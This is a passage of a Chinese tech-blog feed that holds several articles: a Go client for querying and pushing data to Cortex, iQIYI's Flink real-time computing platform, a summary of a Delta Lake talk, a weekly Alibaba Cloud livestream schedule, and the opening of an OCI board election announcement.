            alertmanagerClient promapi.Client
            distributorAddress string
            timeout            time.Duration
            httpClient         *http.Client
            querierClient      promv1.API
            orgID              string
        }

        可以看到,在这个 Client 里面,有几个client , alertmanagerClient / httpClient / querierClient . 先不要好奇为什么会有这么多的 client . 这里的每一个 client 对应着的都不一样。这里会涉及到Cortex 的微服务的架构问题,这个我们后期再说。我这里先说怎么使用 API 做查询。 以及我们的 Push 。

        Query

        func NewClient(distributorAddress string, querierAddress string, alertmanagerAddress string, orgID string) (*Client, error) {
            // Create querier API client
            querierAPIClient, err := promapi.NewClient(promapi.Config{
                Address:      "http://" + querierAddress + "/api/prom",
                RoundTripper: &addOrgIDRoundTripper{orgID: orgID, next: http.DefaultTransport},
            })
            if err != nil {
                return nil, err
            }
        
            c := &Client{
                distributorAddress: distributorAddress,
                timeout:            5 * time.Second,
                httpClient:         &http.Client{},
                querierClient:      promv1.NewAPI(querierAPIClient),
                orgID:              orgID,
            }
            return c, nil
        }

        我们先得到一个 client , 这里的 promv1 是包 "github.com/prometheus/client_golang/api/prometheus/v1" .

        // Query runs a query
        func (c *Client) Query(query string, ts time.Time) (model.Value, error) {
            value, _, err := c.querierClient.Query(context.Background(), query, ts)
            return value, err
        }

        这样就好了。

        Push

        这里的 Push ,就是发送数据到 Cortex 里面的。Client 用我们之前拿到的那个 Client

        // Push the input timeseries to the remote endpoint
        func (c *Client) Push(timeseries []prompb.TimeSeries) (*http.Response, error) {
            // Create write request
            data, err := proto.Marshal(&prompb.WriteRequest{Timeseries: timeseries})
            if err != nil {
                return nil, err
            }
        
            // Create HTTP request
            compressed := snappy.Encode(nil, data)
            req, err := http.NewRequest("POST", fmt.Sprintf("http://%s/api/prom/push", c.distributorAddress), bytes.NewReader(compressed))
            if err != nil {
                return nil, err
            }
        
            req.Header.Add("Content-Encoding", "snappy")
            req.Header.Set("Content-Type", "application/x-protobuf")
            req.Header.Set("X-Prometheus-Remote-Write-Version", "0.1.0")
            req.Header.Set("X-Scope-OrgID", c.orgID)
        
            ctx, cancel := context.WithTimeout(context.Background(), c.timeout)
            defer cancel()
        
            // Execute HTTP request
            res, err := c.httpClient.Do(req.WithContext(ctx))
            if err != nil {
                return nil, err
            }
        
            defer res.Body.Close()
            return res, nil
        }

        其实就是一个客户端在往服务器里面写数据的过程。

        总结

        当然了,上面的程序都是有的。大家可以到 cortex 的源程序里面找到 , github 的速度很慢,大家可以到 这个地方去看 cortex

        大家可以克隆到自己本地:

        git clone https://gitee.com/sun-iot/cortex.git

        在里面我们可以找到这个 Cortex 的几个隐藏的 API。

        ]]>
        日均万亿条数据如何处理?爱奇艺实时计算平台这样做 Fri, 02 May 2025 09:39:04 +0800

        摘要:本文由爱奇艺大数据服务负责人梁建煌分享,介绍爱奇艺如何基于 Apache Flink 技术打造实时计算平台,并通过业务应用案例分享帮助用户了解 Apache Flink 的技术特点及应用场景。提纲如下:

        1. 爱奇艺 Flink 服务现状
        2. Flink 改进
        3. 实时计算平台
        4. Flink 业务案例
        5. 挑战与规划

        1.爱奇艺 Flink 服务现状

        爱奇艺从 2012 年开始开展大数据业务,一开始只有二十几个节点,主要是 MapReduce、Hive 等离线计算任务。到 2014 年左右上线了 Storm、Spark 实时计算服务,并随后发布了基于 Spark 的实时计算平台 Europa。2017 年开始引入 Flink,用来替代部分 Spark Streaming 场景,满足更低延迟的实时计算需求。在这之后,相继推出流式 SQL 引擎、实时分析平台、实时数据生产平台等一系列工具,用来提升实时计算开发效率。

        图片1.png

        目前公司内 Flink 类型节点机器 15000 多台,主要有两种部署模式:

        1. 混部模式:Flink、Spark、MapReduce 等服务混合部署,15000 多台规模
        2. 独立模式:Flink 服务独立部署,用于重要业务,约 700 多台规模

        Flink 作业规模达到 800 个,每日数据生产量维持在万亿级别,日均 2500 TB。

        下图所示为爱奇艺实时计算服务体系:

        图片2.png

        2.Flink 改进

        2.1 监控和报警

        Flink 原有的监控比较简单,无法满足业务细粒度的监控报警需求。当计算过程出现问题时,无法清晰了解计算作业内部情况,不利于进一步分析。因此,我们改进了 Flink 监控报警机制,增加了很多细粒度的监控指标,主要包括三种:

        • Job 级别监控指标:监控 Job 状态、Checkpoint 状态及耗时,当 Job 异常时自动通过实时计算平台重启。
        • Operator 级别监控指标:监控 Flink 任务的时延、反压、Source/Sink 流量,并对每个 Operator 进行指标聚合,以便用户查看。
        • TaskManager 级别监控指标:监控 CPU 使用率、内存使用率、JVM GC 等常规指标。

        2.2 状态管理

        由于 checkpoint 是 Flink job 内部状态,当 job 重启时,上一个 job 的状态就丢失掉,导致部分数据丢失,影响到业务。

        针对上述问题,我们对 Flink 作业状态管理进行了改进。用户提交 Flink job 时,会在实时计算管理平台上配置 checkpoint 路径。通过实时计算管理平台重启 Flink job 时,先找到上一次成功的 checkpoint,从中恢复 job 丢失的状态(flink run -s :checkpointPath/chk-n/_metadata)。

        图片3-1.png
        图片3-2.png

        改进后解决了状态丢失的问题,但带来新的缺陷。对于状态数据很大的作业,使用 RocksDBStateBackend 做增量 checkpoint,重启后,上一个 job 的 checkpoint 被依赖而无法删除。随着 Flink 作业长时间运行且发生多次 job 重启,系统中堆积大量无用的 checkpoint。

        针对该问题,我们使用 savepoint 方式打断增量 checkpoint 的依赖链:

        1. 主动重启:通过计算平台主动重启 Flink job 前,系统会先对 job 进行 savepoint 操作再关闭 job,然后从该 savepoint 启动(flink run -s :savepointPath)。
        2. 异常重启:当平台监测到 Flink job 异常时,会自动从上次 checkpoint 开始启动该 job。一旦 job 进入到 RUNNING 状态,会先做一次 savepoint,解除对上一个 checkpoint 的依赖。

        图片3.png

        2.3 StreamingSQL

        为了便于用户开发流任务,爱奇艺自研了支持 Spark、Flink 的流式 SQL 引擎 StreamingSQL。用户只需要通过编写 SQL 即可完成流计算 ETL 任务的开发。同时,我们也提供 IDE 编辑器和大量常用的预定义函数。

        StreamingSQL 定义了 4 种类型数据表:

        • 流表:定义计算逻辑的输入,目前支持Kafka
        • 维度表:静态表,用于与流表join,比如字典映射
        • 临时表:定义中间结果,简化子查询逻辑
        • 结果表:定义计算逻辑的输出

        数据从流表流入,通过一系列 SQL 语句描述的计算,计算结果写入结果表。对于计算逻辑比较复杂的计算,可能需要定义多层嵌套的子查询对计算逻辑进行描述,此时可以通过定义临时表,将计算逻辑进行拆分,降低子查询嵌套的深度。

        下图展示了 StreamingSQL 例子:

        图片4.png

        3.实时计算平台

        爱奇艺从 2015 年开始陆续推出实时计算管理、实时数据生产、实时数据分析等多个平台,满足作业开发、数据生产、数据分析等不同场景下的开发需求,提升用户的使用体验和开发效率。

        3.1 实时计算管理平台

        实时计算管理平台用于 Spark、Flink 任务的开发与管理。用户可以在 Web IDE 上配置相关参数进行任务的开发、上传、启动、停止等常规操作。计算管理平台提供了大量管理模块以提高用户的操作体验,主要包括以下几项:

        1. 文件管理:通过平台的文件管理功能用户可以方便的管理任务的 Jar 包及依赖库。
        2. 函数管理:为用户提供了丰富的系统函数,并支持用户注册 UDF。
        3. 版本管理:用户可以实现任务、文件的版本对比及旧版本的回滚。
        4. 系统同时提供了监控大盘、报警订阅、资源审计、异常诊断等多种功能辅助用户实时掌握作业情况。

        图片5.png

        3.2 实时数据处理平台

        爱奇艺的数据处理平台经历了 3 个阶段的迭代升级,从原先的离线数据采集系统一步步演变成支撑千万 QPS 的实时数据生产平台。

        ■ Venus 1.0 – 数据采集系统

        2015 年开始,我们推出了第一代数据采集平台 Venus 1.0。数据来源于两个方面,从客户端端收集到的用户观看视频的行为数据及后台服务的日志数据。用户数据从 PC、App 等客户端采集投递给平台后端的 Nginx 接收器,并落盘到本地文件中,再由 Venus agent 解析文件进行数据采集。服务日志数据是由机器上的 Venus agent 解析 log 文件采集。Venus 采集的数据直接上传到 HDFS 进行后续的离线 ETL 处理,生成离线报表供数据分析使用。

        Venus 1.0 版本主要基于 Apache Flume 框架进行开发,并通过 tail+grep、awk、sed 等脚本进行数据过滤。在数据量较小时,该平台很好的解决了数据处理的需求。

        图片6.png

        ■ Venus 2.0 – 实时数据处理平台

        在 2017 年,随着数据量的增长及实时业务需求的出现,Venus 1.0 渐渐变得力不从心。众多业务需求导致 agent 上存在大量过滤规则,过多占用机器资源甚至影响到机器上服务的稳定性。同时,每次变更都需要重启所有 agents,大大提高上线成本及风险。

        因此,我们设计实现了实时数据处理平台 Venus 2.0 版本,将实时过滤功能从 Venus agent 迁移到 Flink 中并采用两级 Kafka 结构。改进后的数据平台无需重启即可动态增减数据处理规则,数据处理能力也提升了 10 倍以上,大大优化了平台的实时效果。

        图片7.png

        ■ Venus 3.0 – 实时数据生产平台

        随着实时业务的大量增加,Venus 2.0 也带来了 Kafka 数据冗余、不方便分享等问题,我们在 2019 年进行了第三次改造,从数据处理升级到数据生产,推出了实时数据生产平台 Venus 3.0 版本。

        用户可以在新平台上配置实时数据处理规则,并可自由组合 Filter、Split、Window 等常见算子,生产出来的流数据可以存储到流式数仓里。流式数仓是我们参考离线数仓概念打造的基于 Kafka 的数据仓库,用于以数据仓库的形式统一管理流数据。

        借助实时数据生产平台及流式数仓,用户可以更加便捷地加工实时流数据,并通过业务线间的数据分享来减少流数据的重复生产。

        图片8.png

        3.3 实时数据分析平台

        RAP(Realtime Analysis Platform)是爱奇艺基于 Apache Druid + Spark / Flink 构建的分钟级延时的实时分析平台,支持通过 web 向导配置完成超大规模实时数据的多维度分析,为用户提供一体化的 OLAP 分析操作流程,只需要几步简单的配置,即可自动建立 OLAP 模型、生成分钟级延时的可视化报表,并提供实时报警功能。

        RAP 实时分析平台解决了用户在数据分析中遇到的几个困难:

        1.OLAP 选型困难:爱奇艺目前提供了 Kylin、Impala、Kudu、Druid、ElasticSearch 等不同的数据存储/查询引擎,用户需要了解不同 OLAP 引擎的优缺点,花费大量精力学习,依然可能选错。RAP 帮用户屏蔽了这层,无需考虑中间数据、结果数据存到哪里、怎么查询。
        2. 开发成本高:用户需要写 Spark 或 Flink 代码进行实时流数据处理,并进行报表前端开发,流程冗长而复杂。在 RAP 实时分析平台上,用户无需编写Spark/Flink 程序或 SQL,只需要通过 web 配置处理规则、分析规则、报表模板、报警规则即可,大幅降低开发门槛,提升了开发效率,从以往的几天开发一张报表缩短到半小时。
        3. 数据实时性差:从数据产生到数据可被查询,中间存在较高时延(从数十分钟到天级别不等),且查询较慢。借助于 Flink 的实时处理能力,RAP 实现了端到端分钟级低延时的实时报表功能,且支持大规模数据亚秒级查询。

        1. 维护耗费时间:数据源发生改变时,修改的范围会覆盖整个流程,从数据处理到报表配置全部需要变更,很难操作和维护。RAP 提供了自动更新功能,帮助用户免去人工维护的麻烦。

        RAP 实时分析平台架构图:

        图片9.png

        4.Flink 业务案例

        4.1 信息流推荐实时化

        爱奇艺很早就开始了基于网格式的长视频推荐业务,近几年随着短视频的兴起,信息流形式的推荐发展迅速。信息流场景里,需要在几秒内根据用户的观看行为实时推荐相关性更高的视频,对数据的时效性要求更高。

        原本基于 Spark Streaming 的实时数据处理架构无法满足这类低延迟的需求,因此,我们协助业务迁移到 Flink 平台上,消除了批量数据处理带来的延迟。单个任务的延迟从 1 分钟缩短到 1-2 秒,端到端的性能提升了 86 倍,显著提升了推荐效果。

        图片10.png

        4.2 使用 Flink 生产深度学习训练数据

        深度学习大量应用于爱奇艺内部的各项业务,帮助业务更好的挖掘数据的价值。在深度学习场景中,训练数据的时效性非常关键。我们使用 Flink 帮助业务更加实时地生产训练数据。

        下图所示为爱奇艺广告点击率预测训练的架构,业务原先通过 Hive/Spark 离线 ETL 方式生成训练数据,每 6 小时才能更新一次算法模型,导致用户特征关联不及时、不精确,影响到广告投放效果。

        我们基于 Flink 进行了实时化改造,将最近 24 小时的用户数据实时写到 Kafka 中,通过 Flink 与存储在 HBase 中的过去 7 天的用户特征进行实时 join,实时产出包含最新用户特征的训练数据,将算法模型更新周期缩短到 1 小时以内,从而支持更加实时、精确的 CTR (Click-Through-Rate)预估,大幅提升广告投放效果。

        图片11.png

        4.3 端到端 Exactly-Once 处理

        当 Kafka 节点出现故障重启或进行人工运维时,Flink 作业会重复消费数据导致数据失准,影响后续的数据处理,比如模型训练。针对该问题,我们设计实现了基于 Kafka Exactly Once Semantics 及 Flink two-phase commit 特性的端到端 Exactly-Once 处理方案。经过我们测试,该方案会带来 20% 的计算性能损耗,但数据重复率会从原先的最高 300% 降低到 0,很好地解决了节点重启带来的数据精确度问题。

        关于 Exactly-once two-phase commit 的原理,可以阅读 Apache Flink Blog 上的详细介绍:

        https://flink.apache.org/features/2018/03/01/end-to-end-exactly-once-apache-flink.html

        5.挑战与规划

        随着 Flink 在爱奇艺得到越来越广泛的应用,我们在资源管理、稳定性、实时开发等层面面临新的挑战。

        接下来,我们会推进流批一体化,进一步完善和推广 StreamingSQL 技术,降低开发门槛。同时,积极尝试基于 Flink 的机器学习、Flink on Kubernetes、Flink 动态资源调整等前沿方向。

        作者介绍:

        梁建煌,爱奇艺大数据服务负责人,2012-硕士毕业于上海交通大学后,先后在 SAP、爱奇艺工作,从 2013 年起开始负责爱奇艺大数据服务体系的建设工作,包括大数据存储、计算、OLAP 以及开发平台等。

        ]]>
        Delta Lake - 数据湖的数据可靠性 Fri, 02 May 2025 09:39:04 +0800 今天笔者将分享一位大神关于 Delta Lake 的演讲内容。这位是 Apache Spark 的 committer 和 PMC 成员,也是 Spark SQL 的最初创建者,目前领导 Databricks 团队,设计和构建 Structured Streaming 和 Databricks Delta,技术涉及分布式系统、大规模结构化存储和查询优化等方面。

        这位大神就是 Michael Armbrust。

        Delta Lake 回顾

        前面的文章对于 Delta Lake 介绍很多,为了方便新的读者更快了解项目,这里简要说明:

        Delta Lake 是一个开源的存储层,为数据湖带来了可靠性。Delta Lake 提供了ACID事务、可伸缩的元数据处理以及统一的流和批数据处理。它运行在现有的数据湖之上,与 Apache Spark API完全兼容。

        因为 Michael 的演讲视频我也是粗略听过,到现在也忘记差不多了。不过,根据 slides 的内容,我尽量串起来,让读者明白。

        笔者的注解基本都在每个 slide 的下方,为了让读者先查看 slides 内容,思考一番,然后再查看笔者的解读。

        抛出问题

        image.png

        很多企业使用 Apache Spark 将各种数据导入到数据湖(data lake)中,在这个过程会花费很多money。

        但是至少数据都进到数据湖,是不是看起来很美好。
        image.png

        然后渴望使用 Apache Spark 基于数据湖存储的海量数据进行数据科学分析和机器学习(ML)。

        开始干活了,是不是真的很美好。
        image.png

        OMG,出问题了,一堆数据大部分都是不可靠的,导致大部分项目都失败了。这是因为数据科学分析和机器学习对数据质量要求非常高。

        看来,美好只是想想而已,别当真。

        数据湖的模样

        image.png

        那么,你期望的数据湖是什么样子的?

        • 可能是收集所有的数据,比如客户数据、视频/语音、点击流、传感器数据等
        • 不是传统的 RDBMS,不需要提前设置 Schema
        • 基于数据湖进行科学分析和机器学习,用于推荐引擎、风险/欺诈检测、IoT等

        但是问题是,通常你的数据是 garbage(不要惊讶,没分析之前的确是),也就是数据湖里面存储的都是 garbage,所以 garbage out 给推荐引擎的都是无用数据,导致输出没有意义的结果。
        image.png

        那么一个典型的数据湖项目看起来是什么样子呢?如果不太清楚,就继续看。

        image.png

        一天 boss 跑过来说,兄dei,所有数据都进到 Kafka,现在要出需求了,两个任务,一个是 Streaming Analytics,实时查看 Business 运行情况等;另外一个任务是进行更加复杂的 AI 和 Reporting 分析,查看更多指标的洞察报告。

        那我们如何做,怎么开始呢?

        image.png

        OK,引入 Apache Spark,因为 Spark API 可以消费 Kafka 数据,然后进行基于 DataFrame 和 DataSet 对数据进行各种计算包括实时窗口聚合操作,可以实时分析商业业务指标,但是有没有发现,很难处理以前历史数据,比如一年前的数据分析,以及更新的历史数据情况。

        image.png

        上面就是我们遇到的一个 Challenge #1: Historical Queries?

        针对上面的问题,所以要把 Kafka 数据导入数据湖,保留历史,以备 boss 不时之需。其实上图就是典型的 lambda 架构,这样就可以解决实时和历史数据查询的问题。
        image.png

        但是我们又发现了另外一个问题:散乱的数据,Challenge #2: Messy Data?

        如上图所示,我们需要启动额外的 Spark Jobs 来检查数据质量,如果出问题要及时告警,方便及时修复,即上图中加入 Validation 可以解决问题。

        image.png

        加入 Validation 校验数据质量功能后,的确很棒,又会带来新的问题,Challenge #3: Mistakes and Failures?

        有时可能会丢失什么,数据一旦存储在数据湖中,那么怎么修复呢,可能需要不停的调整,根据时间、区域等创建分区目录等,进行计算,如果错误的话,删除分区目录,再重新处理。

        image.png

        上面引入 Reprocessing 框架,就需要更新数据,涉及 Challenge #4: Updates?

        更新就要考虑事务,多版本等等一系列情况。
        image.png

        本来你就想静静地做个 Reporting、ML等,终将你会入坑,徘徊在以下几个问题当中:

        • Wasting Time & Money
        • Solving Systems Problems
        • Instead of Extracting Value From Data

        image.png

        • 没有原子性意味着失败的生产作业会使数据处于损坏状态,需要繁琐的恢复操作
        • 没有质量强制执行会产生不一致和不可用的数据
        • 没有一致性/隔离性,就基本不可能混合追加和读取、批处理和流处理

        到此,遇到的问题一堆,于是提出解决方案 Delta Lake。

        Delta Lake 解决方案

        image.png
        image.png

        回顾一下,我们在上面构建的整个系统,融入各种解决方案的数据湖,是不是有点复杂而且杂乱。

        Delta Lake 将上面的整体解决方案转变为下图的解决方案。

        image.png

        是不是觉得柳暗花明又一村,现在你只需要关注 data flow。
        image.png

        image.png

        image.png

        这里,笔者把三个 slides 都放在一起了,Delta Lake 带来了几个关键的特性:

        • 支持 ACID 事务
        • 开放标准、开放源码(Apache License),存储 PB 级的数据。不断增长的社区包括 Presto, Spark 等
        • Apache Spark 支持,流批统一

        image.png

        Delta Lake 提供了一种工具,可以增量地提高数据质量,直到可以被有意义地消费。在 Delta Lake 中,数据被划分成了三个数据质量逻辑层次:

        • Bronze
        • Silver
        • Gold

        下面会依次介绍功能和作用。

        image.png

        Bronze 层主要用于存储原始数据,即所谓的 Raw Data 。Delta Lake是一个数据湖存储引擎,可以支持各种各样的数据接入,这些数据源可能是 Kafka、Kinesis、Spark 或者是其他数据湖,这些数据接入 Delta Lake 之后就存储在Bronze 层,Bronze 层可以为大数据常用的分布式存储 HDFS 或其他存储,这也保证了数据湖中数据存储的可扩展性。
        image.png

        Silver 层主要用于存储经过初步处理(解析 Json格式、增加 Schema、过滤、清理、Join等)的数据。存储 Silver 中间数据主要有两方面好处:

        • 对企业的很多人来说有价值,数据共享
        • 这些中间数据可查询,便于调试
          image.png

        Gold 层可以直接用来消费,可以给业务层直接使用,这些数据是处理后的可以被 ML 或 Tableau 等使用。可以使用 Spark 或者 Presto 在Gold层上直接做展现,或者在这些数据上做数据挖掘。
        image.png

        其实就是 Streams,数据流,通过 Delta Lake 增量地在不同层传送数据。

        image.png

        可能有的人说我不需要实时数据,我的报表每小时、每天或每月运行一次。但是 Streaming 并不是总是指低延时(low latency),而是关于持续增量地处理数据,不用去管什么数据是新的,哪些数据是旧的,已经处理哪些数据,如何从失败中恢复等,Streaming 考虑了这一切。Delta Lake 当然也支持批处理作业和标准的 DML。

        image.png

        最后,介绍一个比较酷的模式,recomputation,重新计算。因为我们在初始的 Bronze 存储了所有 Raw Data ,使用 Streaming 处理这些数据。如果发现代码存在 bug 或者存在一些未曾发觉的新需求,需要加入到分析系统,我们需要做的就是清理表的数据、清理掉 Checkpoint 并重启 Streaming。

        广告时间

        image.png
        image.png
        image.png

        直接看,没有什么补充的。

        如何使用 Delta Lake

        image.png

        这一块内容,笔者在之前的文章中,非常详细地实战过,这里的确不太适合再说。

        数据质量

        image.png

        这里创建了一张 warehouse 的表,定义一些属性,包括存储路径、Schema等。

        image.png

        其实这里更关注的是特性是 expect,定义对数据质量的要求。关于数据质量这一块,大数据行业也是一直比较关注的,开源的产品也有几个,比如 Apache Griffin 等。

        Delta Lake 数据质量,以后笔者会单独细说。

        Delta Lake 如何工作

        这部分 slides 的内容,笔者都曾带领大家详细的研究和实战过,这里为了该演讲内容的完整性,都带上。

        image.png

        存储可以有HDFS、S3 或其他 BlobStore 等。

        image.png

        数据表由一系列操作集合的数据信息组成的结果。
        image.png
        image.png
        image.png
        image.png

        Roadmap

        image.png

        这个Roadmap有点老了,截至目前,Delta Lake 发布的版本为 0.4.0,支持:

        • Python APIs for DML and utility operations
          You can now use Python APIs to update/delete/merge data in Delta Lake tables and to run utility operations (i.e., vacuum, history) on them.
        • Convert-to-Delta
          You can now convert a Parquet table in place to a Delta Lake table without rewriting any of the data. This is great for converting very large Parquet tables which would be costly to rewrite as a Delta table. Furthermore, this process is reversible - you can convert a Parquet table to Delta Lake table, operate on it (e.g., delete or merge), and easily convert it back to a Parquet table.
        • SQL for utility operations
          You can now use SQL to run utility operations vacuum and history.

        到此,Michael 演讲的内容比较详细地过了一遍,大家慢慢消化。


        本文转载自公众号:DataFlow范式
        作者Jason


        相关阅读推荐

        【译】Delta Lake 0.4.0 新特性演示:使用 Python API 就地转换与处理 Delta Lake 表
        【译】数据湖正在成为新的数据仓库


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。
        image.png

        ]]>
        【0309 - 0313 每周直播导视】ACE区域线上峰会大咖云集,架构师成长系列洞悉技术发展方向 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。

        本周直播重磅推荐:

        • 本周五ACE 区域技术发展在线峰会汇集行业专家,结合3大分会场,带你从区域的视角,领略不一样的 AI、DevOps和大数据。
        • 函数工作流全解析 当下防疫期间在线教育和远程办公需求暴增,解密大规模并行处理方案背后的超大计算资源的毫秒级伸缩。
        • 历经天猫双十一、优酷春晚、菜鸟等业务场景磨砺的企业级缓存服务产品 阿里云 Redis 企业版(Tair)重磅发布。

        3月9日

        GitOps 之应用安全发布模型实践

        直播时间:03-09 19:00
        直播亮点:
        越来越多的云原生应用会产生大量的应用组件,各个组件的敏捷交付频率越来越高,应用在不同交付环境中的演进,这些都对应用交付的设计和管理有更高的要求。本次课程演示如何构建一个安全的 GitOps 发布模型保证应用从源码到生产服务的快速迭代。
        分享嘉宾:
        流生,阿里云高级研发工程师
        主要负责开源集成和 DevOps 相关产品的研发,在 CI/CD 领域有丰富经验,在Jenkins 开源社区和相关书籍翻译汉化方面有较多贡献和工作经验。

        【Elasticsearch入门公开课 】07 | 在Docker容器中运行Elasticsearch Kibana和 Cerebro

        直播时间:03-09 19:30
        直播亮点:
        1、在容器中运行 Elasticsearch 与 Kibana
        2、一些基本的Docker - Compose 命令
        3、Cerebro 介绍及操作界面快速浏览
        阿里云Elasticsearch 3节点1核2G免费1个月
        分享嘉宾:
        阮一鸣,eBay Pronto 平台技术负责人。

        3月10日

        Dubbo 2.7.6 新特性

        直播时间:03-10 19:00
        直播亮点:
        全面介绍 Dubbo 2.7.6 的变化,包括服务自省的升级,Dubbo 元数据提升, Spring 设计升级 以及 gRPC 适配等。
        分享嘉宾:
        小马哥@mercyblitz,Java 劝退师,Apache Dubbo PPMC、Spring Cloud Alibaba 项目架构师。
        目前主要负责阿里巴巴集团中间件开源项目、微服务技术实施、架构衍进、基础设施构建等。通过 SUN Java(SCJP、SCWCD、SCBCD)以及 Oracle OCA 等的认证。

        《EasyRL强化学习入门与实践》第一课

        直播时间:03-10 19:00
        直播亮点:
        近年来,研究人员借助深度神经网络与传统强化学习算法的结合,在包括围棋,视频游戏,NP难组合优化问题等多种高维度复杂环境取得了前所未有的成功。
        与此同时,阿里巴巴PAI团队支持集团各业务部门在搜索、推荐、多轮会话等场景上应用强化学习算法,取得了丰硕的业务成果,并沉淀下EasyRL这一易用、可扩展,且算法种类齐全的强化学习算法库。
        本节课主要介绍了EasyRL简介马尔科夫决策过程(定义,例子,动态规划)的内容。

        【Elasticsearch入门公开课 】08 | Logstash安装与导入数据

        直播时间:03-10 19:30
        直播亮点:
        本次课程主要为您讲解下载 Logstash学习使用 Logstash 导入测试数据等内容。
        分享嘉宾:
        阮一鸣,eBay Pronto 平台技术负责人。

        3月11日

        阿里云新品发布会第84期:Redis企业版 & 专享主机组新品发布会

        直播时间:03-11 15:00
        直播亮点:
        Redis企业版性能增强系列优势解读及应用案例介绍;Redis企业版混合存储系列及应用案例介绍;独占物理机带宽Redis专享主机组形态解读。
        分享嘉宾:
        百润-阿里云数据库产品事业部高级技术专家,仲肥-阿里云数据库产品事业部技术专家,昊楠-阿里云数据库产品事业部产品专家。

        函数工作流全解析

        直播时间:03-11 19:00
        直播亮点:
        防疫期间在线教育和远程办公需求暴增,海量的教学录像视频需要快速处理以适配各种终端进行回放,如何轻松构建弹性高可用的音视频处理系统?本次直播将解密大规模并行处理方案背后的超大计算资源的毫秒级伸缩。
        分享嘉宾:
        罗松(花名:西流),阿里云技术专家.
        目前负责阿里云函数计算的用户侧功能的开发:runtime 及事件源等,致力于将更好的 FaaS 实践案例落地,为推动 FaaS 在国内的普及和流行尽一份绵薄之力。

        【Elasticsearch入门公开课 】09 | 基本概念:索引、文档和REST API

        直播时间:03-11 19:30
        直播亮点:
        防疫期间在线教育和远程办公需求暴增,海量的教学录像视频需要快速处理以适配各种终端进行回放,如何轻松构建弹性高可用的音视频处理系统?本次直播将解密大规模并行处理方案背后的超大计算资源的毫秒级伸缩。
        分享嘉宾:
        罗松(花名:西流),阿里云技术专家。

        3月12日

        MaxCompute规格详解

        直播时间:03-12 16:00
        直播亮点:
        带你详细了解MaxCompute产品服务模式及各个规格,帮你在费用成本与业务效果间做好平衡。不管你在意极致的弹性计算资源需求还是更重视成本或基线,合理的选择就能让你花更低的成本获得更高的业务价值。
        分享嘉宾:
        海清, 阿里云智能 高级产品经理。

        k8s 生态下的 Serverless 数据源 RocketMQSource 揭秘

        直播时间:03-12 19:00
        直播亮点:
        分享 RocketMQ 开源社区现状以及 2020 年 RocketMQ 的规划与展望。
        分享嘉宾:
        陈广胜,Apache RocketMQ Committer,DeFiBus创始人,微众银行技术专家,中间件平台相关产品负责人
        曾就职于IMB和华为,负责运营商云和大数据平台建设。

        三位一体的中台体系AI·OS与产品实践

        直播时间:03-12 19:00
        直播亮点:
        深入了解阿里开集团搜索、推荐、广告三位一体的AI·OS技术体系,以及该技术体系的架构演变历程,了解如何应对业务发展对极致效率要求的挑战,以及如何规模化高效支持海量业务快速迭代的挑战;以及了解如何通过搜索推荐云原生产品快速解决业务问题。
        分享嘉宾:
        阿里巴巴集团高级研究员五福,搜索推荐工程及广告平台技术负责人,高级研究员,1999年硕士毕业于中科院计算所,08年加入阿里巴巴,带领搜索与推荐工程团队从追求极致效率入手,走向集团统一的引擎中台,再实现了到智能化时代的升级(AI·OS),目前AI·OS正与广告工程技术(XDL)进行三位一体的体系融合建设。

        【Elasticsearch入门公开课 】10 | 基本概念:节点、集群、分片及副本

        直播时间:03-12 19:00
        直播亮点:
        本节课主要为您讲解
        1、节点,主分片和副本(有哪些不同类型的节点,主分片和分片副本的作用)
        2、相关API 介绍- 查看集群的健康状态/ Cat API/查看 Settings
        3、使用 Kibana 和 Cerebro
        分享嘉宾:
        阮一鸣,eBay Pronto 平台技术负责人。

        3月13日

        ACE 区域技术发展在线峰会 - 北京 AI 探索与实践分会场

        直播时间:03-13 15:00
        直播亮点:
        在北京,越来越多的企业积极拥抱人工智能并应用到实际生产中,以阿里巴巴为例,自动驾驶、城市大脑、智慧物流等最前沿的技术正在不断生根发芽。北京 ACE 联合达摩院和菜鸟数科,共同出品北京 AI 分会场技术沙龙。
        分享议题及嘉宾:
        3D图形赋能下的视觉新制造——马菲莹 (菲莹 达摩院 | 高级算法专家)
        阿里云行业视觉智能诊断技术及落地案例 ——金智勇(胜巅 达摩院 | 算法专家)
        自研精确求解器 BCP Solver 应用实践 ——张莹(友竹 菜鸟 | 算法专家)

        ACE 区域技术发展在线峰会 - 上海 & 天津 DevOps 专场

        直播时间:03-13 15:00
        直播亮点:
        在上海和天津,从开发和运维之间紧密协作到开发运维一体化,DevOps 所追求的开发效率日益精进,函数计算、容器与 DevOps 等理念的实践案例正在本地企业中开花结果。上海及天津 ACE 联合阿里巴巴、分众传媒和云顶云,共同出品上海 & 天津 DevOps 分会场技术沙龙。
        分享嘉宾:
        云原生 DevSecOps 实践 ——瑶靖 阿里云容器 | 高级产品经理
        函数计算助力企业数字化转型 ——张继军 分众传媒 | IT部研发总监
        云顶云&新概念公益项目的DevOps实践 ——陈鸿斌,天津云顶云科技有限公司 | 联合创始人

        ACE 区域技术发展在线峰会 - 深圳大数据实践分会场

        直播时间:03-13 15:00
        直播亮点:
        在深圳,Apache Flink 正在个性化服务、用户体验提升、智能分析、事中决策等复杂的业务需求中扮演着关键的数据处理和分析技术支撑角色。深圳 ACE 联合极光和阿里巴巴大数据事业部,共同为大家带来大数据在产业的最新实践。

        分享嘉宾:
        Flink Python Table API入门及实践 ——程鹤群(军长,Apache Flink Committer,阿里巴巴技术专家)
        Apache Flink SQL 在极光推送中的业务场景使用分析—— 王卉 极光推送流处理平台 | 项目负责人

        想了解更多精彩公开课,请持续关注【每周直播导视】。

        ]]>
        OCI 完成 TOB 选举,阿里巴巴工程师入选全球 9 人名单 Fri, 02 May 2025 09:39:04 +0800 1.jpeg

        2 月 12 日,OCI(Open Container Initiative) 完成了新的一轮 TOB(Technical Oversight Board) 成员选举。阿里巴巴高级开发工程师 傅伟(花名:聿歌)获得 TOB Member 席位,任期为 2 年,是 9 位 TOB 中唯一一位来自中国公司的华人工程师,在成为 OCI 组织的 TOB 之前,傅伟一直积极参与云原生开源项目共建,同时也是 CNCF/containerd 项目的 Maintainer,未来他将继续参与容器标准的演进建设。

